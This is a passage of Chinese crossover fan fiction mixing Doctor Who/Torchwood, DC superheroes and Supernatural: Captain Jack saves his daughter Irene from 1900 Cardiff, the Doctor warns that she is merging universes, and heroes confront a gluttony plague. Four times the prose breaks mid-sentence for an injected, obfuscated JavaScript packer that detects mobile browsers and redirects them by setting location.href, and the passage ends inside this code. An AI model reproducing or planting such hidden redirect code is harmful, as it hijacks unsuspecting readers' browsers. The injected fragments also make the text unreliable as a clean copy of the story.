伊琳接过证物袋仔细端详,子弹上面并没有她预料中的血痕,倒是在子弹尖上沾了些白色的印子,像是从墙上刮蹭下来的。 她犹疑着摇了摇头:“这不是杀死巨汉的那枚子弹?我还是不明白你想说什么。” “你来找我的时候,我其实很紧张。”艾米深吸了一口气,“所以我开枪的那一刻,我就知道,我失手了。那一枪不可能打中巨汉。” “但......”伊琳皱起眉头,然后靠向椅背,面色惊异,“哦。” 艾米苦笑着拿起证物袋:“所以在你们走后,我在旁边的墙上找到了嵌在里面的子弹。” 伊琳眨了眨眼:“那杀死巨汉的那枚......” “嵌在他的头骨里,是一模一样的一枚子弹。” 伊琳斟酌着说:“但我们只听到了一声枪响。” “或许是消音器。”艾米耸了耸肩,前倾身子,期待地看向伊琳,“所以我想问问你,除了我以外,你是不是还找了其他人?又或者是迪克的那些神秘的朋友?” 迎着艾米的眼神,伊琳迟疑地点了点头:“我确实找过别人,他也用枪。” 见艾米的神情放松下来,伊琳飞快地转移了话题:“除了你以外还有人知道这件事吗?弹道分析怎么样?” 艾米微笑说:“你以为我在勘查现场的时候什么都没有做吗?放心,所有人都只知道是我击毙了巨汉。” 伊琳怀着疑问走出了警局,心里有些隐隐的不安。 虽然她这样告诉了艾米,但她清楚,这绝对不会是杰森干的。这不是他惯用的枪,红头罩的行事也不会这样低调。哪怕他在现场时估计迪克的情绪没有出现,事后至少也会对她嘲讽一番无用的警察。 但没有任何人找上他们,事情仿佛就这么过去了。三天后,哥谭那边也有好消息传来,缠绕他们许久的稻草人毒气的解药终于研制成功。 迪克也重新以真实身份出现在布鲁德海文的白天,积极地去见各个房屋中介,为自己和幸免于难的公寓住客寻找何时的住房。 伊琳抽时间回了一趟哥谭,安抚住因为久不见她而开始蠢蠢欲动想要扩张领地的艾薇——她也不知道艾薇为什么将她纳入了保护范围之内,但那片成了原始丛林的废弃工厂区待久了也让人心旷神怡。 她开始教克莱尔用枪——呃,千万不要让芭芭拉知道,她大概不会赞同这件事。而艾薇恰好相反,她会赞同芭芭拉不赞同的一切事。 藤条积极地为克莱尔举起靶子,克莱尔头戴耳罩,在衣服上擦掉手汗,又重新双手握枪,咬牙扣动了板机。 她睁开眼的时候,藤条已经卷着靶子向她靠近了。 五环,不算好,但对于初学者来说也是个不错的成绩了。 “伊琳,你看见了吗?”克莱尔转过头,激动地喊伊琳来看她的成绩,但看见伊琳抬头看着天空,像是在寻找什么。 “伊琳,”克莱尔走过去,“你听到我说话了吗?” “哦,”伊琳反应过来,看了眼靶子,露出笑容,“还不错。” “你刚才怎么了?” “没什么,”伊琳摇了摇头,“只是好像听到了什么声音。” 克莱尔的表情一下子紧张起来:“你是听到有人和你说话了吗?” “什么?”伊琳有些茫然,“不是,有点像是玻璃被打碎的声音。” 清脆而微弱,但在这个声音响起的一瞬间,仿佛有一股冷空气进来,周围的空气似乎都发生了轻微的改变,她的脊背上泛起一阵酥麻的凉意。 “如果有人和你说话,”克莱尔抓住伊琳的肩,语气急切,“千万不要说’Yes’。” ** “Yes!我说是的!”杰克大喊道。他双手撑着塔迪斯的操作台,颓然地低下头,“我必须去找她。” 当塔迪斯沿着时间线寻找了半个月而一无所获时,他们就知道事情并不简单,伊琳并不仅仅是跳跃到了另一个时间点上,她或许已经彻底在这片宇宙消失了。 然后,塔迪斯收到了伊琳传来的讯息。 博士来到了讯息最初进入宇宙的坐标点,在塔迪斯闪过繁杂的光芒后,他宣布这就是与伊琳所处宇宙的连接处。 时空壁很薄弱,塔迪斯能轻易地穿过去。 只有一个问题。 博士闭上眼睛,精神像触手一般伸出去,感知着时空能量:“这个时空壁已经被拉扯到了极致,就像保鲜膜一样薄弱。” 他看了杰克一眼:“你我都知道这是因为什么。” “这就意味着,假如我们再一次打击这块时空壁,它会不堪重负。”塔迪斯轻轻地嗡鸣着,像是在和此处不稳定的时空能量共振。博士观察着表盘上的读数,“时空壁会消失,我们的宇宙会融合在一起。” 他眼里含着忧虑:“我不知道那个宇宙在发生什么事,但我猜不会太好。而无论它发生了什么,如果我们打破壁垒,它都会波及到我们这个宇宙。” “这依然不会改变我的选择。”杰克捏紧了拳头,“我还是会去找伊琳。如果事情不那么好,我会拼尽一切去弥补。” “你可以不参与,我可以一个人做这件事。”杰克抬起头,眼睛里布满红血丝,“你甚至可以阻止我,我可以理解。但我不会放弃,我会一次次来到这里,来到这个时间。” 他勉强地笑了一声:“你知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13057705|136106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,我有很多时间。哪怕我现在没有了漩涡操纵器,一千年,一万年,甚至一亿年以后,我总能找到办法来这里。” “如果你还记得她。”博士干巴巴地说。 “我是一个骗子,博士。我用的甚至不是自己的身份,自己的名字。人们在我身边,总是来了又走,我没有和多少人真正建立起联系。而那些和我建立起联系的人,他们只会和我走进危险,然后......离去。不管是哪种意义上的离去。 “我第一次见到伊琳的时候她才三岁。二十年过去了,我以为这一次,我至少可以看着我的孩子老去。 “我只是不能继续放弃了,在我一无所有之后。” 博士抬头,捏了捏鼻梁,又用指节揉了揉眼睛。 “我那时没有坚定地阻止你,哪怕我知道救下她会有什么样的后果。所以我想,这使得她成为我们共同的责任。”博士转回塔迪斯的操作台前,将操作杆按到底。 塔迪斯颤动起来,接着是剧烈的晃动。 在嗡鸣声里,杰克听见一丝脆响。 博士痛苦地弯下腰,捂住耳朵。 “博士!” “我没事!”博士抬手阻止杰克的靠近,强忍住眩晕感,直起身子。 他曾说过,杰克的存在是一种错误。这句话是字面意思,他感觉起来像是那种人类喜欢玩的视觉错觉游戏,他能清楚地知道这有什么不对的地方,但又难以去修正——所有的时间都绕过了他。 伊琳的存在是另一种。 她像是一颗在跳床中心的巨大铁球,跳床上所有的事物都朝着她的方向陷落。 现在,几个宇宙都是她的跳床了。 ** 蝙蝠洞里突然响起了一阵轻快的提示音。 提姆盯着程序看了好几秒,才想起这是之前设置的针对“火炬木小组”这一关键词的搜索。 自从和伊琳熟识、确定了她的来历后,他再也没想过这个搜索程序能给他什么有意义的结果。 他点进搜索结果里,眉头越皱越紧。 他又花了数个小时黑进英国政府的秘密网站,一切都清楚地说明了,火炬木是一个历史悠久、战略意义非凡的秘密结构,无数加密到连他都无法破解的文档在过去数十年内不断地更新。 但他非常确定,在今天以前,这一切从未存在过。 与此同时,正义联盟警报声不断。 虽然不是最为紧急的外星人入侵事件,但平时难得一见的飓风、火山喷发、海啸接连不断地发生在世界各地,有着超能力的英雄们奔赴在各个灾难现场。 蝙蝠侠和绿箭侠的飞机降落在一个小镇里,看清眼前的景象后,绿箭侠不由得骂了一句,张弓搭箭对准了一个趴在人身上啃噬着的行凶者。 爆裂箭在他肩膀上炸开,他却浑然不觉,不顾流血不止的胳膊,继续爬向地上残缺的人体。 绿箭侠直接冲上去,弓狠狠砸向他的下巴。 行凶者被砸得翻了过去,干呕了几下,嘴边淌出了混杂着碎肉的血,躺在地上抽搐了几下,不动了。 这时绿箭侠才注意到,他的肚子诡异地隆起。 “他撑死了。”他退后了一步,喃喃道。 36.宇宙融合的第二天 事情一开始很简单。“温彻斯特”式的简单。 一对情侣字面意义上地生啃了彼此,死法诡异,但对他们来说算不上闻所未闻——可能是女巫的巫术袋,又或者是把事情搞砸了的丘比特。解决起来或许是会费一番功夫,但总比那乌七八糟的天使恶魔和天启那一摊子事强些。 但事实证明,他们如今遇到的事情都绕不开天启。 这个小镇上突然出现的食人和暴食现象正是天启四骑士之一的饥荒骑士的杰作,一直没戒掉对恶魔血的瘾的萨姆第一个中了招。 然后是卡斯,在副驾吃得一身狼狈,皱巴巴的米色风衣前襟沾满了不知从何处弄来的生牛肉糜,看起来毫无停下来的意思。好在他是天使,迪恩暂时不用担心他像小镇上的其他人一样被撑死。 但这同样意味着,迪恩如今只能一个人战斗。 “好吧,”他对自己说,“总要有人收拾这烂摊子,不是我,还能是谁呢?” 难道他还能寄希望于不知道是不是还活着的上帝吗? ** 【十几年前】 “总有人要做这件事,”杰克耸了耸肩,“地球需要火炬木,如果外星科技落在其他人只会更糟。我以你的荣耀重建过火炬木,我想我应该继续做下去。” 当博士又一次降落到卡迪夫的裂缝上给塔迪斯充能时,他意外地感知到了宇宙中唯一定点对于时间能量的扰乱——他短暂地恍惚了一阵。 自空间站一别后,他自己换了一张脸,杰克看起来还是老样子,博士很难判断时间在眼前这个杰克身上究竟流逝了多久。 卡迪夫的火炬木基地依旧在地底,极为昏暗,充斥着金属的冷光和屏幕莹莹的光线,看起来是上世纪科幻片里描绘的样子。角落里有一个夹间,里面摆着一张不到一米宽的小床。 博士环顾四周,并没有看到有什么生活用品,甚至连个咖啡机都没有。 这个地方看起来冰冷又孤独。 他忽然有些怀念起那个四处调情的杰克,他会买来各种稀奇古怪的小东西放在塔迪斯里,罗丝好奇地问过几次,杰克总是讲着不着调的、让罗丝红着脸捂嘴惊呼的玩笑话。 在赴死前——在他还会死亡的时候——杰克玩笑说:“我真后悔遇到你,我继续当个懦夫会更好。” 博士再一次赞同起这句话的正确性。 但现在已经太晚了。杰克战斗在地球对抗外星人的第一战线上,甚至于,他刻意抹除了生命里除此之外的一切。他是一个空壳,一个在火炬木里机械运转着的齿轮。 “其他人在哪儿?呃,我是说,新招的成员呢?” 杰克介绍基地时展露的笑容再一次僵硬了一瞬,和他说起掩饰入口、监测系统、医疗间时的僵硬如出一辙:“没有新的成员。” 合理,博士想。 在漫长的生命里,这种状态总是不断循环着:一个不太好的告别,不愿面对又一次可能的离别而孤身上路,无法忍耐的孤独,于是再一次寻找旅伴。 一个丑陋的循环。 他看了杰克许久,时间能量在他的面前扭曲模糊,他在脑子里询问塔迪斯,得到了一个不耐烦的肯定回复。 “你怎么还在问这种问题?”塔迪斯像是在说。 “最近我一个人在旅行,你来吗?”博士问道,“塔迪斯说欢迎。” 杰克的眼睛亮了起来。 博士得意地笑了:“没有人能拒绝塔迪斯。” 事情在变好。 虽然他们经历了一次被星球主追杀,一次星球爆炸,两次降落到错误的地点、差点被冻死/热死,但杰克显而易见地变得更有活力了。 具体表现在他又开始调情——被星球主追杀那一次就是他的错,很明显,那个星球主相比起五十一世纪的人类来说还是太保守了。 所以当他将杰克送回卡迪夫时,他并没有过多地担心。 直到停歇在时间漩涡里时,塔迪斯发出尖啸,时空微微倾倒。 博士摔在了地上。 ** 火炬木里招了新人。年轻、有活力、聪明,对自己所干的事业有着无比的热忱,还有着一头金发。 他报到的那天紧张不已,连衬衫的扣子都系错了,毕竟这是一个听起来就分外庄严的秘密机构——虽然整个机构算上他也只有两个人,但这更说明保密级别高,不是吗? 但新人很快就意识到,自己的顶头上司并不是他所想象的那样严肃。虽然生气的时候有点吓人,但多数时候,杰克和严肃毫不沾边。 新人甚至在想,自己是不是该提醒上司读资料时应当更认真些,而不是边看边感叹怀念自己的感情史。 他们所在的地方是卡迪夫郊区一个废弃的孤儿院,有一队号称要鬼屋探险的家伙闯了进来,浑身是血洞地倒在了这里,再也没能出去。法医勘验后发现,他们身上的每一个血洞都皮肉外翻,像是从里而外捅出来的洞。更可疑的是,他们是因为全身器官衰败而死的,仿佛器官在一瞬间都苍老了几十岁。 案件很快就被移交到了火炬木手上,杰克查看了一番后,决定从百年前孤儿院的档案入手,那几年异常的高死亡率说不定指向了什么线索。 但他读得太仔细了些。 翻了几页后,新人就听见杰克摇着头笑了:“哦,这里有个埃文斯,我也遇到过一个埃文斯。莫伊拉·埃文斯,聪明、大胆,从不循规蹈矩。” 他眨了眨眼,有些记不清莫伊拉面容的细节,只记得她用从他那儿学来的小技巧偷了亏欠工资的工厂主的钱包后,在他脸上的兴奋一吻。他在酒馆后头的住处还被莫伊拉嫌弃了,勒令他直接搬到她家去,虽然在杰克看来那也没比自己的临时住所好多少。 但他没有来得及搬过去,刚出酒馆就遇见了火炬木的两个探员。 他们相处的时间有些久,也有些......粗暴。他必须承认,那两个人对死亡的方式非常有创意,或许不下于法师。 落在她们手里的几年并不是他生命里最好的几年。但很不幸的是,或许也不是最坏的几年。 “那这说不定是你认识那位埃文斯的亲戚,”新人的声音将杰克从回忆里拽了回来,“可能是曾祖的姐妹什么的。” “说她是我认识的埃文斯的后人还更有可能些。”杰克看着新人摸不着头脑的表情,笑容更大了。 他随意扫过这位伊琳·埃文斯在济贫院的记录,非常短,毕竟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13057706|136106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她才待了不到一年就去世了,死因看上去很可疑。 杰克又翻了一页——还是伊琳·埃文斯相关的信息,不过是关于她父母的。 这并不这件案子需要关注的重点,他本想直接看下一页,视线却在一个熟悉的名字上定住了:莫伊拉·埃文斯。 这是伊琳母亲的名字。 比邻的地方写着:父不详。 这或许是一个巧合。 杰克的拳头捏了又松,稳住手,又翻到了前一页,目光落在了伊琳·埃文斯的出生日期上:1900年1月8日。 他是在1899年遇上火炬木的两个疯子的。在此之前,他和莫伊拉在一起了将近一年。 或许还有别的解释,或许只是同名同姓。 又或许,在他不知道的时候,一个他的孩子出生了,又很快离开了这个世界。 “你是世界上最糟糕的父亲。”杰克仿佛听见了艾丽丝的声音。 但有没有可能,哪怕只有一丝可能,他还可以改变这一切? 他将济贫院前后几年的记录仔仔细细翻了个遍,没有找到更多关于伊琳·埃文斯的记载——她的死亡只是纸上短短的一句话,没有验尸报告,没有照片遗留,甚至没有提及埋在什么地方。 所以,她可能事实上没有死,对不对? 杰克的心脏剧烈地跳动着,渐渐生出一个他知道自己绝对不该有的念头。他的右手紧握着左手的手腕,手腕上的涡旋操纵器亮着表示正常运作的□□。 至少,他可以过去看一看。 二十世纪初的卡迪夫散发着他记忆里工业废气的气味,济贫院里还夹杂着一丝既熟悉又让他作呕的腥味。 视线捕捉到一个体型硕大的蛾子的时候,他突然想起了自己是在什么地方见过这个物种。 这是宇宙里臭名昭著的物种,他们的卵必须吸收其他种族孩子的生命力才能得到孵化。在多数星球上,他们一出现都会被驱逐出境,甚至于被直接处决。 这个种族的武力向来不占优势,所以他们往往迂回行事。他们是优秀的小偷、间谍、情报贩子,并通过全种族共同的努力积累了大量的财富。 杰克在夜里潜了进去,看着济贫院的院长和一个商人达成了交易——用济贫院的孩子达成的交易。 济贫院的院长死在了这一夜。 杰克没有去想自己有没有在档案上看到这一任院长的死法,他只知道这人在他眼前死在了枪下。 ……还是把不属于这个年代科技的枪。 但无所谓了,他并没有时间和心情去考虑院长的死该如何收尾。 在闯入济贫院隔离间的那一刻,他就认出了伊琳·埃文斯。他看到了与自己极其相似的眼睛,充满惊慌。 “没事了,伊琳,我会带你走的。” 他在那一刻什么都没有想,又或许他早就想好了。毕竟他身上带了各式各样来自未来科技的药品,镇静、止痛、消炎、止血,一应俱全。 他看着伊琳闭上眼,倒在了他的怀里。 杰克充满感激地抱住了她。 他不想去考虑后果,只想沉浸在这胜利的喜悦中。 终于有一次,他能救下自己爱的人。 37.宇宙融合的第三天 【过去】 塔迪斯物质化在了卡迪斯火炬木基地的中央,掀起的风将桌上层层叠叠的文件吹得满地都是。新人被一张纸打在了脸上,揭下纸后瞪大眼睛,看着一个男人从凭空出现的蓝色盒子里走了出来。 博士走出塔迪斯后踉跄了一下,好险没有栽倒在地。 好吧,有一个时间定点已经够糟了,现在又加了一个——博士思索着合适形容词——黑洞!卡迪夫的时间能量简直乱成了一团麻线。 “你......你是谁?”一个颤颤巍巍的声音响起,“举起手来,不然我就开枪了。” 博士不耐烦地望过去,就看到一个面生的金发年轻人,双手举枪对着他。 “火炬木的新人,是吗?”博士挥了挥手,“去咖啡馆,去酒吧,去你们人类喜欢去的地方,就当今天是你的假期、幸运日。我要和杰克好好谈一谈。” “你还是没有说你是谁,”对上博士的目光,新人执枪的手有些发颤,匆匆补充了一句,“先生。” 博士瞪大了眼,指向了塔迪斯,上上下下挥动示意:“你们火炬木是怎么回事?我不是你们头号敌人或者什么的吗?” 新人看起来更茫然了。 “蓝色警亭,塔迪斯,我,博士。想起什么来了吗?” 新人放下了枪,语气近乎是崇敬的:“您是博士,杰克提起过您。” 博士走向杰克那间小卧室的脚步顿了顿:“是吗?他说我什么?” “他让我不要走在路上担心天塌下来这种事。如果地球真的要被毁灭,人类总是可以等到博士。” 博士扶住额头,嘀咕道:“所以他就要天塌下来一次,证明一下这句话吗?” “您说什么,先生......不,我是说,博士。” “好吧,小伙子。天还没塌下来,你也不用担心。所以你可以给我一些空间了吗?” 向那个方向前进几乎是在和自己的本能做斗争。 博士推开门,身子靠在门框上借了会儿力,眼前的景象才又清晰起来。 如果他不是能看见模糊的乱流的话,他会说这个房间看起来有点温馨。 ……杰克到底是什么时候搞来一只泰迪熊摆在床上的?旁边是不是还有一个洋娃娃的包装袋? 小小的身子平躺在床中央,身上盖着一件军大衣,栗色的长卷发横在枕头上。这个屋子很小,床和墙之间只留了一个狭窄的过道。杰克就坐在过道的地上,一腿放平,另一腿曲起,整个人斜靠在床侧,左臂搭在床上,脸枕着胳膊熟睡着。 博士咳嗽了一声。 杰克惊醒,从地上跳了起来。看到博士的时候他神情放松了一瞬,接着又有些心虚的退缩,最终还是展开一个标志性的笑容:“怎么?想我了吗?” 离得近了,博士更能感觉到床中央传来巨大的牵扯感。 “杰克,”他盯着床上的小人,震惊让声音变得飘忽,“你做了什么?” 杰克神色有些紧张,跟着他的眼神看向伊琳,在视线落到伊琳脸上时,他的表情又和缓了下来:“我做了我该做的事。” “时间特工组织哪怕再对时间一无所知,也不至于不知道这件事的严重性。”博士近乎是咬牙切齿,但还是压低了声音。 吵醒一个小姑娘可不是有礼貌的举动。 “那你觉得我该怎么办?”杰克的笑容消失了,愤怒与悲伤在他破碎的掩饰后面浮现,“就看着她死去?在我失去了一切之后?” 你本该如此。博士想这么说,却怎么都开不了口。 他或许不该苛责一个被情感冲昏了头脑的人类,毕竟人类比猿猴聪明不了多少。 博士在脑子里开着玩笑,却笑不出来。 他逐渐习惯了此处的扭曲,释放开自己的感知,观察着床中央的小女孩。 杰克深呼吸了几次,平静了下来,试探着询问道:“但这并不意味着我真的改变了过去,对吗?我是说,我确保了档案上还是留下了同样的记录。” “数十人都看到了你们的离去!一个档案能骗过什么?” “而且时间吞噬者也没有出现。”杰克语速飞快,“伊琳不会再回去,她会留在这里,所以这就没事了,结束了,对不对?” 博士沉默了。 时间吞噬者本该出现,这是改变命运、扭曲时间最直接的后果。维护时间线的怪兽会将出现在那里的所有人都吞噬,以求掰正时间。 但这一次很特殊。 或许是因为原本伊琳的死对原时空的影响很小,只留下了一张纸,而杰克又努力复制了能留下的痕迹;又或许是因为被干扰命运线的伊琳直接来到了未来,不会对原时间线继续造成影响。 总之,时间吞噬者没有出现。 但如今造成的后果,或许比时间吞噬者更糟。 “我能感觉到她的重量,”博士闭上眼,感知里的世界混乱不堪,他甚至难以稳稳地站在地上,“她扭曲了时间和空间,无数的平行世界被她拉近。” “......好吧。”杰克干巴巴地说,“听上去很厉害,但我恐怕你要说得更清楚些。” 博士怒冲冲地看了杰克一眼:“所有她接触的人,他们的过去现在和未来,他们的整条生命线,都会被改变。” “怎么改变?” “你没听懂我的意思,杰克。”博士的声音低了下去,近乎是在叹息,“她改变的不只是未来,还有过去。所以,这已经发生了。” “你身上发生的事,杰克,所有你经历过的事,你之所以成为时间里的定点,都是因为这一刻。” 杰克沉默了一会儿,笑了:“我不得不说,这听上去像是什么都没有变。” 博士瞥了他一眼:“不要试图用猿猴的头脑去理解时间的运作。这就是为什么你们这些时间特工总是把时间搅得一团乱,你们的概念都是错漏。” “好吧,”杰克摊开手,“就这样?听上去很唬人,但好像也没什么影响。” “不只是你。与她的接触越多,关系越深,受到的影响就会越大。” “呃,我还是不明白你说的影响究竟是什么。”杰克耸了耸肩,“和她接触的人都会变得和我一样?” 博士看杰克的眼神像是老师在看一个问他为什么“1+1=2”的学生:“与其说是重量,不如说是质量与密度。她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13064924|136106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有巨大的引力,杰克。 “她的力量,会把所有平行世界里重量大的事情汇聚到一起。在所有的可能性里,与她接触的人会经历重量大的那一种。” 杰克缓缓点了点头。顶着博士的眼神,他实在装不下去,叹了口气,摊开手:“我承认,我还是没有听懂。重量到底指什么?” “每一件事,每一句话,都是有重量的。”博士的手指在空中挥动着,像是要把“重量”指给杰克看,“对个人、对世界的影响越大,就越重。她的存在,放大了所有重量大的事件的可能性。” “我不明白,”杰克皱起眉头,摇了摇头,“这是一件坏事吗?” “你见过宇宙,杰克。你也在地球活了很久。”博士的语气很奇特,像是怜悯,又像是嘲讽,“告诉我,你觉得是外星人帮人类建造起金字塔更有可能发生,还是外星人想要入侵地球更有可能?” 杰克没有回答。他隐约明白了博士想要说什么。 博士继续道:“在重量大的事件上而言,坏事往往比好事更常见。你以为对多数人来说,重量大的事件意味着什么?成为领袖,成为发明家、思想家,把世界引向光明?不,杰克,是苦难。 “是暴力的家庭,是不负责任的师长,是贫穷,是饥饿。然后从中成长起来的人,将这一切带给更多人。” 杰克咬牙说:“我会想办法阻止这一切。” “你不能。”博士颓然地坐在了床沿,“这已经发生了,这正在发生。” ** 【现在】 蝙蝠侠停住了打向又一个食人者的拳头。 这不对劲。 两种相背离的强烈情绪在他的心里不断冲撞、攀升,一个催促着他彻底扫清眼前的乱象——不要再有无辜者丧命了,那个声音说。 另一个声音冷漠克制又狐疑:你应该停下来,至少该让你的队友停下来,你这么相信自己是对的吗? 这简直像是儿童片主角心理活动的画外音,将两种观点简单地对撞在一起。 他很早以前就过了这个阶段,他早就找到了自己的路。 ……虽然偶尔,他依旧会怀疑。 他看向绿箭侠的方向,突然意识到从刚才开始,绿箭侠似乎就变得更加冲动,他的动作更加莽撞,没有及时救下受害人对他的影响似乎也被放大了。 有什么东西放大了他们的情绪。 蝙蝠侠眼神扫过小镇空旷的路,街对面的餐馆里还有人速度飞快地进食着。 食欲是一种常见的欲望——他们被放大的是欲望。 他闭上眼,回忆着刚才的一切:这种影响是以什么方式传递的?不可能是水源。那是空气?是一种施加在这个小镇上的魔法? 无论是什么,它必定有空间范围的局限。 如果他们难以在短时间内解决罪魁祸首,至少可以减少平民的伤亡。 “绿箭!”他喝道,“停下来,我们在做无用功。” 绿箭侠没有停,蝙蝠侠冲过去,抓住了他握弓的手:“有东西在影响着这里的所有人。我们必须把人疏散出去。” 在小镇上的人全都被撑死或者被吃之前。 38.宇宙融合的第四天 疏散居民并没有绿箭侠想得那么容易。 虽说镇上多数人倒也没有变成食人魔,但只要把他们从食物旁边拖走,他们就会拼命挣扎。鉴于这些都是无辜的受害者,绿箭侠开始时倒也想着不要那么暴力。无奈镇静剂和绳子都有限,最终还是只能选择把人打晕了事。 次数多了,绿箭侠干这种事情越发得心应手。反正镇民都在埋头猛吃,上去都不用做多余的动作,一记手刃就足够了。 除了副驾驶上的那个风衣男人。 一开始,绿箭侠并没有觉得这人有什么特殊之处,视线扫到这辆车的时候只是感叹了一下如今街面上倒是很少见到雪弗兰这么经典款的impala车型。 唯一特殊的是,当绿箭侠将车门打开,一记手刃劈在男子脖子上时,男子并没有如他预想地那样软软倒下。 他看上去丝毫没有收到影响,依然用手抓着膝盖上放着的一大桶肉糜。 绿箭侠看得嘴里一阵泛酸,不由得嘀咕道:“好吧伙计,我希望这东西调了味,不然你清醒过来的时候可不会好过。” 此时他依旧觉得自己只是失手打错了位置,或是没掌握好力度,等到他又尝试了几下,男子依旧稳稳地坐在椅子上,连头都没抬一下,绿箭侠终于惊异地端详起面前的男人。 他看上去就是个普通的上班族,甚至还有些邋遢,蓝领带打得有些歪了,风衣皱巴巴的,领子也没有整理好。食量倒是很大,不一会儿,这桶肉糜就见了底,他也没有像多数暴食者那样出现呕吐的反应。 绿箭侠眼睁睁看着他把最后的肉糜刮干净了放进嘴里,然后,消失在了原地。 “什么鬼......”绿箭侠盯着眼前的空气看了两三秒,才打开了通讯器,“呃蝙蝠侠,我这可能有发现,有个人在我面前凭空......” 熟悉的米黄色身影重新出现在座位上,还捧着一大袋汉堡。 “......消失了。”绿箭侠将没说完的三个字缓缓说出口,之后飞快补充,“现在他又重新出现了!看上去是瞬移的能力,我怀疑他和我们要找的魔法师有关联。” “看住他,神奇女侠正往这边来。” “我尽力。”绿箭侠搭箭指向风衣男,看着他三五口解决一个汉堡,皱起了眉,“我建议你在胃涨破之前停下来。” 风衣男一如既往地没有看他一眼。 他松开手指,箭破风而去,扎进男子的肩膀。 别说影响他的动作了,他甚至没有皱一下眉头,那支箭插在他身上,仿佛只是一个普通的装饰物。 “不能说我感到意外。”绿箭侠顶了顶腮帮子,恨透了这什么都做不了的感觉。 空中传来高速运动下的音爆声,神奇女侠落在绿箭侠身侧:“我听到消息的时候还以为会看到你陷入一场恶战。” 她神色古怪地看着面前的场面:“看起来这个魔法师并不在状态。” “我在想,他应该不是做下这件事的魔法师,他看上去和镇上其他受影响的人没什么区别。” “我们会找到答案的。” 真言套索从风衣男的头顶套下,松松的挂在他的肩膀上,可他却像是感知到了什么,吃汉堡的动作竟然一顿,抬起头,和他们对上了视线。 他歪了歪头,蓝眼睛看起来很茫然。 “你是谁?”神奇女侠声音庄严地问道,真言套索逐渐收缩。 “卡斯迪奥。”风衣男嗓音低沉,说出了一个罕见的名字。 没有姓氏。 神奇女侠继续问道:“你是什么身份?在这里干什么?” 这一次,卡斯迪奥张开嘴,却没有发出声音。 正在神奇女侠怀疑他是否想了什么办法打破了真言套索的效力时,卡斯迪奥缓慢地说道:“我是主的天使。” 他看上去神情有几分挣扎,眼神不断在神奇女侠和空空荡荡的驾驶座上游离:“我在这儿......” 周围的空气似乎出现了什么微妙的改变,神奇女侠说不清楚,只觉得心里突然有什么东西一轻。 卡斯迪奥的神情也突然放松了下来,皱着眉头打量了他们几下。伴随着一阵轻微的翅膀扑棱声,他消失在了空气里。 真言套索落在了空无一人的汽车座上,汉堡滚落在地。 “你听清他刚才说自己是什么了吗?天使?是我理解的那种天使吗?” 神奇女侠点了点头:“他是这么说的。我知道他们的存在,但据我所知,他们并不能随意在人间走动,更不能这样无所顾忌地展露力量。” 还不等绿箭侠追问,通讯器响起,在镇子另一头疏散人群的蝙蝠侠传来消息:“居民都清醒了。不管什么在影响他们,现在都已经失效了。你们那边怎么样?” “他跑了,我们见面细说。”神奇女侠回答道。 因此,当迪恩拖着嘴边染满了恶魔血的萨姆从街角拐出来时,他正巧看到两道身影从自己的爱车旁离开。 一个绿色的身影骑着摩托车走了,而另一个浅棕色皮肤的女子则是飞了起来。 ……不是卡斯“咻”地消失了的那种,是真的平行于地面,漂浮在空中的那种。 两道身影消失后,迪恩依然没能回过神来。他甚至短暂地忘记了对于萨姆再次吸食恶魔血的愤怒与担忧,开口问道:“是我脑子出了问题吗?我好像看到有人飞了过去,穿得还有点像神奇女侠?” “我也看到了。”萨姆和迪恩对视一眼,快步走到impala旁边,只见副驾驶的车门大开着,一个被啃了一半的汉堡落在座椅上,椅子已经沾上了黄色的芥末酱。 迪恩捶了一下门,张开手臂对着天喊道:“卡斯,你就是这么对待我的车的?” 卡斯并没有出来回答他,蔚蓝色的天空却划过了一个红蓝相间的身影,向着与之前那两人同样的方向飞了过去。 “什么鬼?”迪恩瞪大了眼睛捕捉着那块飞舞着的红披风,“超人?” ** “我没听过卡斯迪奥这个名字,”康斯坦丁摊开手,“我可不是那种喜欢和那些羽毛脑袋攀交情的人。” “所以这世界上确实有天使。” “当然。”康斯坦丁坐在会议桌上,斜着身子看蝙蝠侠,“你知道这世界上有恶魔,却从没想过天使的存在吗?” “我找到他了!”钢骨突然出声,“一个ins照片拍到了他。” “他在哪儿?” “耶路撒冷。” “一个在耶路撒冷的天使。经典。”康斯坦丁坐直了身子,“你们与其问我,不如直接去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 